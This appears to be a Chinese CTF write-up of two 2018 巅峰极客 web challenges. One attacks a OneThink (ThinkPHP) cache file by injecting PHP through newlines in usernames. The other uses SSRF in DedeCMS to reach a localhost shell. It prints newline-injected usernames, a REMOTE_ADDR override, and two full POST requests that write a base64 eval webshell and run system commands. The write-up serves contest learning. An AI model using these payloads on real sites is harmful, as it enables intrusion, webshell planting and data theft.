1. 程式人生 > >2018巔峰極客第一場Web題兩道

2018巔峰極客第一場Web題兩道

A Simple CMS

一個16 年已經停更,基於 thinkphp 開發的 cms

網站目錄大致如下,www.zip 是提供的原始碼檔案

搜尋 onethink 漏洞 相關文章,會發現這篇 http://www.hackdig.com/06/hack-36510.htm (thinkphp框架寫的開源系統或被getshell tp官方onethink舉例),漏洞大致原因是因為寫入快取檔案時沒有對換行進行處理,快取檔案裡有註冊過的使用者名稱,因為是 thinkphp 框架,快取檔名字是固定的,導致可以寫入任意程式碼執行命令。

比較坑的一點也算是考點,網上幾乎所有文章寫的快取檔案的名字都是一樣的 2bb202459c30a1628513f40ab22fa01a.php

,實際用給出的原始碼本地測試的時候,儲存使用者名稱的快取檔名為 onethink_d403acece4ebce56a3a4237340fbbe70.php,比較有意思的是題目網站也是存在 2bb202459c30a1628513f40ab22fa01a.php 這個檔案的,出題人的意圖可能是不希望我們生搬硬套文章裡的東西,而是懂原理,該怎麼去利用。

後面看了出題人的 wp ,才發現考察的是程式碼審計,這裡的程式碼修改了

使用者名稱過濾了 POST 和 Request 引數,雖然能夠註冊成功,但是登入的時候會提示使用者名稱被禁用,登入不了也就不能成功把程式碼寫入快取檔案,於是採用了其他文章的做法,(https://www.secpulse.com/archives/55862.html)

註冊了 %0a$a=$_GET[a];//%0aecho `$a`;// 兩個使用者,注意登入的順序,最後訪問快取檔案執行命令 http://4619edd345904a91aa141701b0ec30b0b8db7f68e99d4a98.game.ichunqiu.com//Runtime/Temp/onethink_d403acece4ebce56a3a4237340fbbe70.php?a=cat%20/tmp/flag

最後分享一道類似題目的思路,做題人發現 flag.php cat 提取不到內容,可能是因為許可權不夠,於是採用了複製命令 cp flag.php flag.txt 再 cat flag.txt的方法

$_SERVER[‘REMOTE_ADDR’]

使用 $_SERVER['REMOTE_ADDR'] 獲取ip地址一定安全?

<?php
foreach($_REQUEST as $key => $value){
	$$key = $value;
}
if ($_SERVER['REMOTE_ADDR'] !== '127.0.0.1') {
    die('Who are you? your ip is:'.$_SERVER['REMOTE_ADDR']);
}
$_GET['a']($_GET['b']);
?>

post 或者 get 傳參 _SERVER['REMOTE_ADDR']=127.0.0.1,可以繞過限制

DeDeFun

運維自己的網站,我還是喜歡用shell的方式,這樣肯定沒人能日進來了。
1.php
<?php
if ($_SERVER['REMOTE_ADDR'] !== '127.0.0.1') {
    die('Who are you? your ip is:'.$_SERVER['REMOTE_ADDR']);
}
$_GET['a']($_GET['b']);
?>

dedecms 最新 5.7 版本,後臺被刪掉了,沒有前端 getshell 的思路,想到 ssrf

這道題考察前端時間出的爆破後臺目錄的思路,詳細可以檢視 dedecms利用萬用字元找後臺目錄

簡單提一下這個方法的思路,首先利用環境必須是 windows,利用了 windows 下的統配符 <,其實這個思路本來就是 ssrf 的應用,利用 uploadsafe.inc.php 下的 getimagesize 函式,利用後臺目錄下的圖片 favicon.ico ,如果猜測正確正常反饋,否則提示 Upload filetype not allow !, 具體可以參見文章。

ssrf 利用點找到了,接下來根據文章構造 poc :

POST /tags.php HTTP/1.1
Host: Str3am.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 333

dopost=save&_FILES[b4dboy][tmp_name]=http%3A%2f%2f127.0.0.1%2f1.php%3Fa%3Dassert%26b%3Dfile_put_contents%28%24_GET%5B1%5D%2Cbase64_decode%28%24_GET%5B2%5D%29%29%3B%261%3D.%2fuploads%2fstr3am1.php%262%3DPD9waHAgcGhwaW5mbygpO2V2YWwoJF9QT1NUW2NdKTs%2fPg%3D%3D&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif

這裡 shell 傳遞兩個引數 a 和 b ,直接 post 傳遞一句話連線不上菜刀,檸檬師傅的思路是重新寫一個 shell ,也學習到了,另外因為 web 目錄沒有寫檔案許可權,所以寫到了 uploads 目錄下。

還有一種思路是直接命令執行,將 flag 讀到可訪問的位置,學習到一個變數 $IFS,相當於 bash 下的空格。

POST /tags.php HTTP/1.1
Host: Str3am.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 230

dopost=save&_FILES[b4dboy][tmp_name]=http%3A%2f%2f127.0.0.1%2f1.php%3Fa%3Dsystem%26b%3Dcat%24IFS%2ftmp%2fflag_a4ga3QJsZ5DTCw8v%3E.%2fuploads%2fstr3am.txt&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif

參考連結:

https://xz.aliyun.com/t/2469
https://paper.tuisec.win/detail/d1053143f127862
https://xz.aliyun.com/t/2064
https://liuxianglai.github.io/2018/07/23/%E5%B7%85%E5%B3%B0%E6%9E%81%E5%AE%A2-CTF-%E9%83%A8%E5%88%86%E5%A4%8D%E7%8E%B0/